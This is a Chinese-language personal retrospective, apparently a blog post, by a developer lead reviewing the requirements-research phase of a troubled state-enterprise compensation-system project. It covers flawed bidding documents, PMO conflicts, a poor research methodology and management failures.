再往上新来的总监推他的“管理”制度,这个制度为:互联网的管理+传统行业的薪资+油腻男语录兄弟们努努力。而YX这个部门得以运行至今,底层逻辑为宽松的制度+结果导向,允许每个人占山头不可替代养老。如果他想让大家成为他的低薪零件,那部门会先散掉。

这下子这个总监和W就有机结合了,边界模糊的言语与刀刻般的制度利益侵犯。

  • 因为域外项目,就要和北京现场部门的合作,而现场部门出了个项目经理,还是现场私人招聘回归的,一开始所有人都觉得她应该挺厉害,履历那叫一个精彩。但是项目失控后,她就被替换为了一个推广人员。怎么说呢,所谓的管理专业人才,会做成本预算之类的管理操作,但是对于0-1项目的落地落实来说,她的专业能力是不够的无法起到推动作用。祛魅:坐上那个位置不行也行,身份大于实力。

  • 这个项目的中后期引入了战略ZL部门介入,也得说一下,ZL的总监和项目经理,从私人来说都是挺好的人,但是相处许久让人不得不思考到,他们的价值高在哪里;如果说是一般人员还好,但总监和经理看下来能力并没有超越,经理甚至是0业务吸纳能力,可以说是一个机器般(中性褒贬)的中年人坐在功劳谱上撞钟。ZL部门中间还摇来T4的人支援,结果不堪入目,能力极差。我对自己的重新定价以及对于高级人员的祛魅,他们功不可没。

  • 别的不多就领导多,牵扯到3方部门自然3方一堆总监,出什么事都是假大空会议分析客户精神可以拒绝挂在嘴上是糊弄人的态度,真实没人去出头担责,然后总是去满足一切要求。飘在天上做指挥。

  • 整体上的研发人员配置,比起迫在眉睫的缺口,那些领导会先考虑工时与成本分钱,烂到根上了,领导们实际上是为了自己的薪酬而工作而不是部门或公司项目,权责利益不对等。总体上给了10来个人,但要说符合我认定的5年该有的水平,只有2个人。

外部人员甲方、共同承建的后面慢慢引入

摇篮的开始-调研调研还是tmd调研

【202312-202402】

领导都在为了自己的工资负责,权责的不对等,催生出整体承担的负面结果。

提出问题也要解决问题,我们解决不了,领导出于对自己工资的责任会拉会,但是形式大于作用。

初见端倪的甲方国企病

请时刻保持攻击性与主见

想要忘掉技术

去年10月招投标,我没有参与,是W和一个新招的“规划部”的同事去的。形式居多,内定之后通过各种资质要求卡死其他公司。

我们部门参与进来是因为北京区的人接到了这个立项,而且认为这个我们的部门比较匹配。

当时W就和甲方业务侧有过沟通,但是研发思维只想着设计实现,没能识别出这里的业务,其实和我们的产品模式,并不是想象中的匹配。报酬专业领域的业务弯弯绕太多了。

同时复盘可认为,W的说话方式->思维方式,让他得知了一些业务侧提供的信息(洗钱黑钱数据准不了)以及其他产品可知的业务信息(类似),之后,只是当作了谈资,没能及时识别出这里的巨大业务风险,最终结合引出甲方就标书内容的无限甩手既要又要还要的真实建设范围膨胀。

从复盘的角度,他们没做好全部的本职工作,标确实稳稳地拿到了,但是漏洞百出的标书成为了这个项目一切祸患的直接根源。(虽然是因为Y系的甲方从来没有过和这次的甲方一样如此拟人的)

调研

这个大阶段,我先给整体的顺序概括下,后面回忆起来说的有些乱了

整体上调研是线上->线下1阶段(提纲、乱问、乱小汇报)->线下2阶段(业务流程)

标书确定下来之后,我们就立刻开始了调研,一切开始于12月中旬。

标分为了2部分由2家公司承办,后称我们为A,对方为B。

此处出现第一个巨大风险:为什么我们的人没有在PMO里,而是B,事实上多出来一层利益为PMO工资的B公司的二甲方。这直接导致了,我们的声音上不去,上面真甲方的声音被引导。

PMO只对甲方负责,甲方要什么他们就哈巴狗传达,甲方飘在天上夸夸群指点江山,B就无脑护着传达,这我们又怎么做的好产品呢?

  • 如果这时候能够识别到,上报总监,不管他上不上CEO去要求我们也得在PMO有人,至少留个痕给内部和外部,后面吵架也好吵。但是……唉,即使当时识别出来,恐怕喝酒为主的北京总监ZHOU和我们的套话总监LK,也只会打哈哈把球甩给我们。

还是tmd标书的坑,要我们调研,调研甲方自己都梳理不清的业务,完全超过承建系统一般的实施范围了。此句话重点在于甲方自己都梳理不清

好了风险说完了,这个阶段的正题是调研,我们,要,调研,需求,做产品。

  • 对,没错,我们一堆研发,去做产品。

  • 我们一堆没识别到风险的研发,去跨赛道,做产品需求,同时还有B在那指指点点,不按她说得来,她就说汇报下甲方领导讨论吧。

  • 当然她前期确实让我们学到了一些方法论上的东西,引导项目推进的套路

长期目标与短期目标,要达成分别要做什么
结构化的预定要提供和输出的文档、产出物,确实做到了优化调研的执行,让临时人力和主干都有明确的方向
强迫(褒义)你也要你去输出总结,整理汇报,不止是应付上面,确实可以让思路更清晰
在推进过程中,时间的预设计划先行,我们的老部门经理管的一团乱就是因为他是混上去的研发,不懂这个
在跨职能部门间的合作中,对方并不一定会真的配合,只是装个样子配合或者他们不知道该这么配合,要充分考虑对方情况,让对方“知道”我们要做什么,以可以“机械式”的配合,最小限度的破坏以达成目标
现实中的事务不是搞技术写代码,这个那个人都想知道一下让汇报,所以每个事都要实时有产出随时糊弄。
  • 但随着项目一个个阶段进行,越来越发现B和后面研发阶段会提到的我们战略部门的项目经理HB一样,是吃老本的没有根据实际情况变化。
第一阶段是线上调研

STEP1:从甲方成本控制的考虑上,B认为我们应该先摸几个省的底,线上以会议的方式贯通业务后,再进行后续的系列调研。这个提案是很正确的考虑。

但是从复盘的角度,B忽略了一个事情,那就是这个项目的诉求特殊性是独一无二的,这种操作想达到预期结果可达成性为0

对于一个我们自己足够熟悉的赛道产品,去复用到同类产品上,是可以如此调研的,B给出如此建议我相信确实没有坏心思(至少现在没有),B的公司做的产品就是如此同质化的,所以给出如此建议很合理。

\

但实际上,马后炮:这个报酬系统的建设,是前无古人的,难度不在于业务的研发实现,业务本身才是难度。可以说不具备任何同类产品可以借鉴,因为业务本身的难度在于……嗯……在于“制度”,是制度与人心结合产生的庞杂的基层实际业务执行情况,我们首先不可能摸查几个省代表所有,其次这几个省也不可能线上拉个会议或者说线下会议就能摸查的清楚。

从调研开始,这个项目就注定不可能善终了,不是因为B的忽略,她没做错什么,至少现在还没

而是因为,即使识别出来,我们内部的体制权责,导致不会有人去压着甲方一级二级做决策更改标书的,标书已经注定了要做全国,那我们识别出来业务不可平铺又能如何呢?

甲方项目经理是个装嫩的“小姑娘”(代称YY),她整天拿着标书说事(后话,这里还没暴露),即使她领导其实至少当时还没纠结标书范围。我们在中后期得知了这个项目是个政治任务,时间不能改,结局已注定

说来说去怎么还是标书埋的坑,草。

后面我们就不提全国还是几个省了,就认命了,【全国】。

  • 但话说回来,如果投标期就识别到项目的重要程度为政治项目,识别到业务巨大风险,我们可以去要求更多足量的钱,公司内部根据对应的钱也至少可以投入足量的人,各合作部门也不会扯皮你分多少我分多少,也不会到中期才升级为战略项目,我们对于甲方的沟通态度也会强硬很多,会更早的要求采用强硬态度的授权,也许发展会大不相同吧

虽然我悲观,一路做过来,我不认为自己的部门具备人才储备,即使升级战略项目投入人员也很一般很一般。但总得乐观的推进吧……

STEP2:线上调研需要提纲

这是B的经验主义(之谈),STEP1中闲聊过了,不可硬套。我们没人识别到,所以就盲从了。

我们提出了“不知道问什么”这一难点,B的解决答复是先按标书拟定一份收集材料让线上调研的省提供上来,然后阅读材料后对于再拟定调研提纲。

真是太厉害了B姐(棒读)

从复盘的角度,这不是循环自我论证吗……标书是10月拍脑袋聊业务定的,标书本身就不可作为业务可信描述以参考,用不可信标书的去收集材料,又能分析出个什么超过标书外的结论吗

即使抛开不可信的标书来说,收集材料即使是可信材料,我们也不必然分析得出有效提纲。

所以有个巨大的感悟是,语言的艺术,这和GPT类AI有共通处,连贯的语言并不具备离散数学上的命题真特性。话听起来是那么回事,但是内在因果是不通顺的。不幸的是管理类人才通常会说出很漂亮的话,经验不足无法当场反驳

最可靠的调研方式就在我们生活的国家中:到人民群众中去,上山下乡!

想做好这个项目,我当前复盘认为这个阶段只有一条路,下到每个省去实际参与到业务中。再之后才可能有足够的论据去说服甲方一二级,让他们再去和巡察组汇报,期许缩小范围或者延长时间且追加预算。

即使说服不了,那也可以归因于甲方支持力度不够,我们尽到了责任,而这些国央甲方最怕的就是责任在他。

调研方式的错误预言了不会产出期望的调研结果,我们按照当初的方式调研,发现最后其实没有东西去说服他们甲方。因为调研方式和出发点就错了 当时缺少祛魅,无法清醒,还会被W似乎有理有据的说一番,事后看他当时是被B洗脑了,要到4、5月份才清醒。

STEP3:执行线上调研

前面说的够多了,实际执行中,没有意外的发展成了很皮毛的业务“质询”,地市老师们也挺尴尬的。

从复盘角度,不出意外的没有什么有效推进项目落地的产出,摇篮呵。

之后已经是1月中旬了

第二阶段为线下调研

哦对了,我们热血澎湃的3人小队!我+部门经理W+北京出的项目经理ZHAO,没人意识到事情其实已经在失控的严重性,当时被B引导的在盲目学习她的套路。

对于ZHAO,我和W都是感觉很高级,海归+有大经验,说话一副英语说多了的感觉的中文(褒义),此为1;

加上W邯郸学步的管理方法论,在这时候考虑和北京的勾心斗角,让ZHAO去抗,想我们研发撤到幕后,此为2;

1、2结合产生的直接结果是ZHAO扛不住,我们的指挥体系一盘散沙,被B完全控制了。而这个时候W还没想着上升事态上去换人,而是拿这个和北京部门及其项目经理ZHAO扯皮能提供出多少人的工时挂靠。

ZHAO作为我方的项目经理扛不住,我们的调研方式实际被B非故意的引导到了错误的方向,综合决定了调研阶段的全面失败。从复盘角度来说,如果及时上升事态换人,摇来ZL部门的HB老油条,我们是可能把真实的调研诉求与计划独立性争取到的,即实地调研,并且也可以识别上报做全国还是几省的风险

  • 这里的归因暂且只说我们自己的问题,甲方后面单独提

STEP1:服了,甲方内部就这么个政治项目支撑力度吗

在B的非故意错误引导下,我们列出了不可信提纲。

现实与代码不同,安排一次线下调研需要给每个地市的老师都安排好食住行,这个由甲方YY做了。

再之后我们还需要拟定每天的日程表,作为调研组各成员与来京被调研的地市老师的行动参考。

最后是给这个时间表填充上对应的提纲内容,理论上老师们提前准备对应的资料,以有效进行调研。

幽默的是,对于甲方老师们的欢迎,买些水果小蛋糕,居然要我方出资而不是甲方总部,无奈。

花点钱是小事,重点在于,甲方此时,是一点没有表现出"这是个政治项目"的样子,他们还会就老师们来几天多一天少一天来扯皮。这里说的扯皮没错我就是在指名道姓互联网上盛传的国央企酒囊饭袋领导:假大空话一套套,跟他要个结论指示什么都没有,你说要调研两周它说太多了,它说要你仔细分析是不是真的要2周,给出2周的依据。然后你给出了依据,B又横插进来说这个是不是真的要这么多时间,真是对自己的PMO工资负责,太负责了。你受不了妥协成少点时间,这个二级又说会不会不够。

  • 此时不同方的想法
    • 二级的视角是:厂商搞定一切,她所知的信息是:承办方都是长期合作伙伴,具备大量工程建设经验。她只需要关注下进度,提供些帮助。
    • 我们的视角是:标书内容圈定了范围(我们并没有人仔细看过标书,包括参与标书拟定的W和规划部同事),我们就是来调查下业务细节按照标书实现系统的。我们知道要调查,但是其实很含糊,还没人意识到其实我们不知道该调查什么我们的视野局限在了研发思维,大前提发生了错误,只想着和原有算酬系统类似,把模型往上套做个适配就好,可是这个项目从后期上帝视角看,重点在于帮助甲方梳理业务流程还要进行合理性改造
    • YY的视角是:厂商要去按照标书去摸清全国各省的业务细节,然后建设系统,她不知道怎么做,但是知道我们要建设。
    • B的视角是:B确实有资历,他是知道如果想做一个全国性的系统,标书只能作为一个承载范围,具体需要详细的收集各省差异形成标准流程的,这个STEP3可以提到她也有局限性。
    • 上帝视角:
      • 二级和我们一样,不知道这个业务的复杂性,她是管财务上去的,只知道自己一亩三分地财务的知识
      • 甲方内部不知道流程该是什么样,总部对于各省无约束力和详细的知晓。

复盘的角度二级和B这时居然也还不知道这是政治任务,还在这扯皮我们能不能完成提纲日程的进度,还考虑各位老师的下班时间,出差时间?按我理解的政治任务那就一切以完成为唯一参考了。

复盘的角度,我们忽略的两大点

一为项目背景仅仅是技术+简单业务层面的,没有去考虑背后的时代背景、政治背景,也就是大背景;

二为没有及时定性甲方及我方各人员素质,定性后针对性的换人和开怼

第二点主要是针对甲方人员定性,他们居然惊人的符合国企尸位素餐的刻板印象。后面才会逐渐涉及到一个个人。

这可不是我有什么刻板印象,我是攻击性比较强,对抗思维的人,所以最先过敏了。后面来的各部门的项目经理、总监、CEO及研发测试运维兄弟没一个不在骂甲方不似人,一个50多北京本地部门的运维头头老大爷,多佛系的一个人啊,被恶心的群全退了拒绝和甲方继续接触。

STEP2:公务员的一生

在线下调研的推进过程中,感觉YY也挺可悲的,一个职责上是甲方的项目经理的人,每一步推进她考虑的都是端茶倒水,领导座位怎么安排,各位老师的行程怎么办,经费怎么办,具体的业务落地她实际上是没在想的,只是对于B言听计从。再多了解些知道了她是从地方调过来的,如果说是就靠这个本事,那这个企业算是完了,当然确实也是可持续性的在完蛋。

YY没什么自己的意见,领导的意见就是一切,她会无时无刻拿着领导的鸡毛当令箭来执行,可悲可叹,人是好人,在国企内确实需要这样的人,这样子也轻松些,一声叹息。

复盘的角度从识别到YY的特性后,我们就应该忽视她了,让喜欢做什么就做什么,但我们的执行上一定要可以越过她和B直面决策者,进行力争(虽然我们也说不出个123当时,但态度要出来,做这种项目先讲立场后讲对错缘由,不能让你决定了责任却是我的)。 但当时我们就当她是小姑娘做事毛躁心是好的,止步于此没有上心多去想想这会带来多少阻力。

还必须要提的是W的说话处事的圆滑方式,对于项目的害处:

  • 圆滑的人可以在一心的体制内步步高升,但对于多方竞争的处境中,他在出卖我们自己的利益。
  • 前期是不知道我们居然竞争至此,后期是他知道了还在那圆滑。

STEP3:机枪左移50cm

有人看电影看乐子,我感觉这个项目在照镜子。

1、线下调研前,我们要做几个准备工作:(1)结构化的提纲(2)需要产出的调研结果模板。上文线上调研可能提到了,实质上我方不可能给出准确可靠合理的提纲和结果模板。在此基础上B也不懂这些业务,但是她却要审我们的调研提纲,并作出指导,同时又不对结果负责。

我当时提出了对于这个提纲的意义的质疑,但B按照她的刻板经验是这个流程就认定了这么做,而当时我缺少方法论也无法反驳他,复盘时才切实清楚了原理上为什么给不出唉。

我们的内部也就调研提纲的内容产生了争执,非技术人员认为于提纲应偏向业务实际操作流程,技术人员觉得是问case。

我的质疑也只是作为技术负责人,我认为这个调研是对于系统落地无意义的,我们的系统应该是配置化抽象承载、租户化定制扩展的,如果要落地只需要搞懂每个标书的功能点有多少种case即可,然后和之前的系统一样套路化的设计实现即可。

可是您可能也想到了,标书只是一个只是飘在天上的范围,这些功能都不一定准,甲方更关注我们去帮他们把业务流程梳理了,然后定制功能流程。

本质上的差异在于对标书的理解:我们想着参考标书建能力中台产品,甲方想的却是统一管控、业务流程收敛

2、线下调研的日程安排一团糟,B和YY以及二级,就调研哪几个省,来多少人及人员配置如何、会场分布如何,要求细化,我们一个个看:

  • 调研哪几个:这个细化要求很合理,问题在于决策权责的颠倒,谁决策谁负责,但是B作为二狗子,和甲方搞成了我们好像有决策权但是实际要二级开心了点头,其实我们什么都定不了,但责任全在我们身上。
    • 复盘的角度,这个东西就该是你甲方决策好的,我们是承建方,甲方你不知道哪些省业务什么什么样那是你内部出了大问题,我们可以做但得加钱,责任也不是我们的,这都要拎清楚,邮件是必须上去的,直接请命到总监和对方二级。您可能还记得,W的圆滑,这延缓了矛盾的爆发与对抗性证据积累的过程
    • tmd还是标书搞得范围太虚甲方什么都可以往里加
  • 人员配置:很合理,出差来的人应该业务职责上可以包住他们省全部的业务场景。
  • 会场分布:细化要求是合理的,但是执行层面出了问题
    • 从复盘的角度来看:实际是B有自己的小心思,我们两家公司承办的部分不同,也就导致了业务特性不同,差异化程度不同,B的业务产品同质化,差异化是可控的,调研方向是清晰的,他们的倾向是一个会议室同时调研3-5省,共3个会场。而我们的业务复杂度差异度都是不可预估,仅可知的是很复杂,我们的倾向自己分析出来应该是希望一个个省细化了解的
    • 当时B有说过“我们终究还是一个项目”,并且YY没脑子和那个二级,也暗示一次做完,不要分开调研___原话是:“不行,我们不分开调研”(自行带入小孩语气,唐完了)
    • 复盘视角:我们不应该妥协,最好的处理是识别并要求甲方限期决策做全国还是几省,不决策那责任在谁清清楚楚,也不至于后面就总体计划要求延期没法据理力争。调研方式也按实情去要求,同意后那调研结果是我们的责任,不同意就是你的责任,可惜当时不清醒

复盘视角:这里首次出现了一个问题并贯穿始终:B不对我们的决定负责,却可以肆意以PMO之名干涉影响我们的决定。同时W的圆滑会模糊掉这种侵犯,会幻想问题可以聊天解决不上报,非主观故意但客观如此,聊天没有解决一次问题,只是压力到我方执行。PMO和我们是对抗方,她哄好上级领导就行了,不会在意我们的实情

祸根是最开头讲的,我们缺少PMO席位,标书唉标书。

3、我们内部对于线下调研的支持

(1)我们自己做的不到位,没能识别到B的调研方式对于我们业务特性不可行这是说了很多遍了,同时这里还有人力投入问题:各省分隔到3个会场,全部省业务都可以分为2种模式,简单算术知道需要至少(1主问+1备用+1支援)*3会场*2模式=18人。

但是W和北京部门都在推脱我的人手紧缺呀出不来人呀,最后搞实习生填线、规划的人填线、开发/运维填线,唯独没有专业的产品人员,还只凑出了9个人,无奈。

导致了什么结果呢?每个人都会按照那个不靠谱的提纲问,自然会被老师们发散开,然后每个人的侧重点就不同了,在[4、]中即时暴雷。并且人数不够场面控不住,对于老师们的利用率低。

(2)在群策群力拟定调研提纲时,发生了思维不统一的异端。原因在于我们中推选不出一个足够有自信乾纲独断的人来拟定,每个人都不专业。就出现了甲说这个要问,乙说这个要问,丙说我觉得这两个都不重要。 复盘的角度,如果我们足够敏感,就该意识到缺少专业产品及时升级摇人了

4、线下调研的每天晚上,B出于PMO的职责都会要求总结调研结果,开会交换信息改进/调整明日,这个执行路径无疑是正确的。

错误发生在执行细节,B的公司做的是同质化的系统我们之前提到过,他们可以轻易的做到给出合理的提纲,并根据提纲以一次一个会场调研多个省的方式,得到可靠结果,按他们自己的套路流程晚上输出结果改善第二天。

但对于我们来说,这就是不可行的: 我们的业务导致执行过程出现了,我们的问题,不够细。当我们抛出一个调研问题时,5省的老师会先回答,但是回答完后,反而变成了他们之间聊起了这个问题的发散点。我们对于各省业务复杂性的不知道导致无法控场,因为他们说出的每一个小点,都是我们的知识盲区,只得紧急学习记录。

结果是什么呢:每天我们都会收集到一堆堆的信息,但是和我们的提纲符合度较少,每天晚间我们A公司内部的会议都会抛出一个个新问题新盲点。同时我们居然还想着按照B的路径去整理出调研阶段结果给他们同步然后整改第二天。

生搬硬套结果可想而知,内部执行时怨声载道,一个简单的调研小点我们内部也达不成结论性的一致,缺少乾纲独断的业务专家。同时外部甲方也不满意。

我们那时候居然还相信B的方法“论”,忽视了根本性的业务&&产品差别,在那强烈尝试套过去。

执行下来的结果自然是,我们整理不出来调研结果,每天又累又焦虑,根源问题就是上面提到的循环自我论证。超脱不出去,不知道问什么,也不知道问了后对于项目的进步推进作用在哪。

当时B还是挺好的,作为PMO的职责一部分,她在尽力帮我们执行线下调研,也参与进来我们的调研内容中了,我们当时也感觉挺不好意思的,B和她的调研人员们帮助我们也发现了些新的业务盲点。

但是从复盘出发,上线后结果态马后炮,她们的当时心意是好的,但是作用是接近0,原因说了很多遍,根源上的业务对应调研方式错了。确实发现了几个业务盲点,这些盲点如果能及时点醒摇篮中的我们去正向推导我们要做好这个业务系统需要怎么做、甲方要的和我们以为甲方要的的差异之大,那是非常非常好的,可惜没有如果,这些盲点也只是汇报时提给领导看凑数的

根源上的差异导致了我们在这个路上不论如何努力,都不会导向系统的成功。

  • 此时我们就已经初步明白了,我们做不到全国,几个省都够呛。但是还没有人意识到甲方之无赖和业务的根本性复杂度差异,没有及时升级事态

    • 有一个点是:W开始去跟P还有YY聊我们是做全国还是几省,但总是没有结论,因为方式就错了,私下聊管什么用。和他的说话方式一个毛病,边界不分正式不了。
  • 很生动的一次假努力只会导向失败的案例

STEP4:汇报,恩!情!

已经够乱了,突然调研中途,那个二级,要A|B两家公司都对调研情况进行汇报,哈哈哈哈汇报,噫我中了。

我现在复盘的脑子里已经开始播放将军的小曲了:将军:米饭是用米做的,泡菜要可以吃!

🖐️    🖐️   🖐️     🖐️   🖐️     🖐️

   \😭/          \😭/          \😭/

然后自然是集体通宵给他做PPT,从我们本来就残破不堪的调研结果里缝缝补补+编给他凑PPT。

此时已经有人发声了“这么调研不行,什么都写不出来”,但是身在局中,合着做个项目甲方对我们用疲敌战术呢,不给我们思考的时间,身心俱疲,在错误的路上一路狂奔。

B这时还釜底抽薪,要统一PPT格式,开始初见端倪滥用PMO权力,要A|B公司“协同”拟定PPT目录,然后统一格式,她还要审~

W此时是决定把事情上到我们自己的总监和北京总监捅上去了,之前的状态北京总监装死不管他事,W也只是一直要人力没有发现也就没报这种风险

first从复盘的角度,这时还有救,如果我方几个部门的领导干点实事,乾纲独断请命CEO,至少叫停汇报,再真的参与进来帮我们复复盘,不然你领导价值何在?

但制度呵责任呵,他们的取舍利益是要爱惜自己的,只是这份爱惜自己总是藏在爱惜部门话术的后面,是不能烧到CEO不能把自己搭进去,几个总监讨论半天最后的结论总是,我们要改变但先按兵不动继续汇报

second从复盘的角度,我们就该上报要求分配专业汇报人员了,比如销售。这个项目涉及到的一个销售上去的总监,以前是东莞洗脚喝酒那套的,和北京喝酒总监关系可好……销售总监当时提出了一些点,我记不清了,但可以确定的是,提出的都是PPT怎么写,领导想看什么,而不是业务怎么做,如果派专人来写PPT就好了,就这还勾心斗角,你一个销售,自己不写,光在那指点来指点去我们写PPT?这公司烂到根了

可以说汇报的事情,我们很不专业,所以立刻就提了需要专人执行汇报工作,但到3月份,也没派人来做汇报,后面就是研发了。复盘是复盘了,但顽疾已深

STEP5:插叙:走马灯.gif

  • piece1:刚到北京时,B和YY就在和W、ZHAO就在拟什么总体计划。但是八字没一撇,就算不谈业务复杂度那也连调研没做,系统设计架构也没出,他们就要总体计划,是不是疯了

    当时:我们只是在盲从,盲从的锅我觉得一半在W,他给我们所有人都植入了B是专业的这个思想烙印。要不就我这攻击性都等不到调研后期,早就开怼了。

    复盘:你B要这个总体计划的合理性在哪里?居心何在,为什么什么都没调查就要计划?我们最多配合到调研计划,就算是调研计划我也不想给,因为我们的计划应该为实地参与调研。我们不接受现在的做法。

    但是:非技术领导本质上都是努力维系自己地位的空壳,他们那可是很需要安全感的,所以这个计划,我们还是要给的,只不过给计划的方针该是“哄小孩”,给她点信心,然后给自己留好余地(官方途径留痕),随时变更。可笑的是W总是会提不能吵架,说这种留痕就是吵架了,要保持好关系。那只会死守一个好关系原则,不知道能带来什么呢?后面HB老油条一看情况不对,不过一周就开始明确吵架了。

  • piece2:人在无语时会笑,YY这个小姑娘甲方项目经理现在就要出硬件资源规划、系统架构

    当时:依旧在盲从

    复盘:很清晰了,路径不对,很可能有B根据他们那种产品的路径依赖引导了YY,B她们可以复制改改就行。并且我们真的是问题很大没人仔细看过这份问题很大的标书,对于B她们承建的部分,按照标书做全国,是可以出资源评估系统架构了。但我们真不能,业务差异太大、数据量不确定、是否同构不一定,能不能做出一套服务全国都不一定。可当时摇篮中的大家都没人当回事,让做就做,我们也在拿以前的产品去套……

  • piece3: 团结紧张严肃活泼的甲方

    团结活泼是甲方自己的,紧张严肃属于我们。甲方信安部门的三级我们称之为P。这个项目各个阶段都会有好几个甲方领导没事来看看,来中途指导,指导瘾犯了。如上文说过:我们应当提前定性甲方各人员画像,该当空气的当空气,该认真听的认真听。

    调研阶段,P就喜欢指点指点方向,从W的视角看那是好人呀(棒读),但是从复盘的视角看,这种行为和看下棋时指指点点的围观大爷完全一致,并没有给出建设性的意见,只是在说话不腰疼装高人。 更恼火的是YY是P的小迷妹,它们国企内部真是团结活泼呀~YY作为项目经理没有独立思想,无语凝噎。

    甲方当然也有好人,他们系统建设室的LEI,就真的会根据调研的一些情况,来给出他知晓自己内部什么尿性为基础给出的建设意见。从复盘来看,LEI的意见是正确的很懂的,我们由一些现状来推导出的建设思路过于理想化,忽略了执行在他们内部就是不可能行得通的,京管不动地方、地方管不动基层。

  • piece4:错误的个人责任认知

    这个项目是P的部门主导的,YY作为项目经理,但她们如儿戏一般的做事方式,好像这项目做成什么样都和她们没关系。

    他们比起是在和我们倾力协作,根本就是在享受当领导的感觉,而B则是把他们轻轻捧起的当作领导侍奉,甲方和二甲方通力协作,要求、意见一堆,时刻指导意见,帮助却是没有的。

    他们好像真的以为这样子胡闹指点江山,飘在天上不下海,厂商就会帮他们把项目做好。一副高深莫测的样子,其实他们也不知道到底想要什么,就和大爷看下棋一样,这一步那一步指点下。

    复盘:如果当时意识到权责问题,就可以明确的要求他们提供更多支持,或者否定我们可以,你得进行决策。用责任逼他们做出选择和帮助。比如你得找个业务专家给我们宣讲培训,你得提前决定调研哪些省,要不你就少干涉,我们自己做自己担,否则延误了呵呵呵。(无视掉W那种圆滑,对自己人没好处)

  • piece5:来到北京参与我们调研的地市老师放不开

    总不能什么都说吧,总部的人在这呢,太多阴暗的小九九大家都知道,但就算是真的你也不能说!




连续组织了2批线下调研,第二批开始我们已经知道了要收集业务流程资料

第三阶段为成果汇报(正式)

STEP1:脑袋尖尖的

因为调研的根源性失败,与我们并不是汇报专业人员,我们通宵达旦也做不出有信息量的美观的PPT。

前面我们提过一嘴,B还要审,她定了格式还要审我们的格式,用她们的业务调研方式来强行套我们,PPT里每个部分填充的内容是灾难性的。

没人愿意或者能去进行汇报,实在没什么可讲的内容。

从汇报过程来看,从二级的言论来看,我们是在这里开始确定这个二级不懂业务的,她张口闭口都是财务相关的内容,只关心一个财务怎么算钱核账,忽视前置的各省市业务实际操作差异。

汇报的内容,B要求一定要画业务流程,她后面也会要求业务流程,这里我们是不理解的,因为我们的思维还是建报酬能力中台。

复盘发现,B其实一直都知道甲方要的是一个业务统管系统(报酬的输出只是一部分),而不是单纯的报酬能力系统。 我们也和B谈过我们的想法要建能力,但是谈的方式是W的聊天,对于调研没有产生影响,没有上升到甲方领导去定方向。

这个汇报后,所有人都知道了,建的是业务统管系统。

通过观察这个二级对于专业外的局限性,我们也要学到,在与其他或研发或运维测试人员沟通时,不能有先入为主的观念代入自己的领域中,最优先进行的信息拉平,互相补全,保证双方对于事情有一致的、全方位认知是很重要的。

STEP2:不太满意说是

“你们这调研结果不太行啊,我觉得得更细致些”

嗯嗯嗯说得对,我们也觉得。

复盘的角度来说,虽然调研的根源性错误导致了,方向错误与极其低效产出。但毕竟浪费了2周时间调研,东发散一下西发散一下,对于业务至少有了大致的了解。

可是这种程度的资料收集了解,对于我们实际要去做这个系统,却并没有帮助。之前对于系统的想法是什么样的,现在依旧是什么样的。我们知道了一些细节处的个性化差异点,但是却并没有一个体系去标准化的收集落实各省的差异点究竟如何,无法程序化的语言去落成文档参考,无法贯穿设计一个系统。

从这个角度出发,我们正确的做法首先1是上山下乡调研说过了,2是我们在调研过程中,应该以何种形式来承载产出物呢?从零开始的调研是无法标准化产出的,那个阶段应该产出一个业务系统的流程框框雏形,以此种形式,配合甲方对于业务流程有足够掌控的人,我们派出技术/产品专业的人员填充这个雏形,再合并分析

剧透一下是:甲方派不出这个人,每个省都差异极大;我们实质上承担了帮他们梳理业务流程的职责,然后才是建设系统。

  • 【谁是我们的敌人、谁是我们的朋友】/央地矛盾

进行了前面的调研,我们才知道

谁是我们的敌人:

首先B是,她拿的那份工资天然对立我们。所谓职业经理人不对公司发展负责如是说。

其次各地市其实都是隐藏的敌人,总部收权各地市产生的央地矛盾。每个地市都有在现行制度下的小操作,总部的系统是要杀了他们,他们会在调研时隐藏一些关键信息,等到后面评估标准业务流程时又这个省说这不对,那个省说我这有差异。

谁是我们的朋友:

概括的话是总部,具体的话YY、二级、P都是争取对象,他们与我们利益一致,只是躺在庙堂上久了,不知道什么才是真努力,尤其YY会做很多无意义的假努力感动自己。让他们意识到不决策且既要又要还要是做不到的,必须让他们意识到做不好这个项目的第一责任人是谁,以提供对我们足够的支持和放权。

从复盘的角度,我们这时候不应该继续按照B的流程去做调研了,首要的事情是先做完刚才说的由甲方真正懂的人和我们的产品技术人员整理出一套我们对于报酬管理的基础方案,和总部对话得到授权后,要求地市进行适配,否则需求膨胀没有尽头。

但也是从复盘我们知道,甲方总部想把地市的权力收紧,但又没有决策没有决心去推行他们希望的系统,没有对于地市的管控力,同时也给不出全国业务专家这个人,只是想着尽量去适应地市的情况,让万能的厂商做一份适配所有地市的系统(后面标准化业务流程处会体现,流程不能变动只能去支持)。同时我方公司也并不具备这种报酬管理的基础方案的给出能力,因为这是“域外”,我们缺少经验与足够说服总部的案例

总结下调研乃至全阶段一直存在的问题

W的说话方式并不对项目足够负责,他是个万金油。很多时候很难去坚定的认为他和我们是一条裤子的。

忽略的应当做的识别甲方人员素质

B只对自己负责

噩梦的钟摆-标准业务流程(业务塑形)

【202402-202403】

无力感

我只是一个super charge 研发头头,没有他们那样的力量.

  • 我们一直不清楚系统要建成什么样去承载业务

主体调研已经结束了,业务流程也在调研中去收集了,但是我们依旧没有人知道,我们的系统该如何建设。

我们好像知道了业务流程,但却没有“实”的感觉,无法去对应上一个个需求与功能点。

当时我们的想法只是赶紧过这一关,迎接下一关,我们在B的引导下,并没有去按照自己的想法思考过怎么建设我方承建的部分是合理的。人员已经身心俱疲,如果遇到类似情况应当及时进行人员置换换个脑子了,当时的我们做不出思考判断。

原因归根结底还是因为多方对于这个系统的期望是不一样的,从复盘的角度,B的引导是按照客户的期许(一个统管业务系统)去进行的;而我们却在想如何把老一套算薪平台搬过来适配及业务对应的技术设计细节,自然会产生无力感。

此所谓信息的公平平齐非常重要,B知道、客户知道、我们也觉得自己知道,但每个人“知道”的内容是不一样的。B觉得我们怎么那么笨,我们觉得B你为什么要这么做有什么用。

  • LEI的想法

在这个标准业务流程前的调研阶段,LEI和W互相聊过几次,也是关于无力感的,W也不知道我们到底要怎么建设成功这个系统。

在调研中间,我们知道了各省业务差距在流程、实操、业务类型细节方方面面,感觉到可能要给每个省做适配个性的代价过大了,然后LEI没事会来旁听调研,他们就聊了起来。

LEI也是系统建设方面的人,所以他的思想和我们比较接近,他给出的方法是只保大流程,具体的细节差异,由操作人员自己去做并记好自己省的映射关系,我们只去提供一个大的模板。

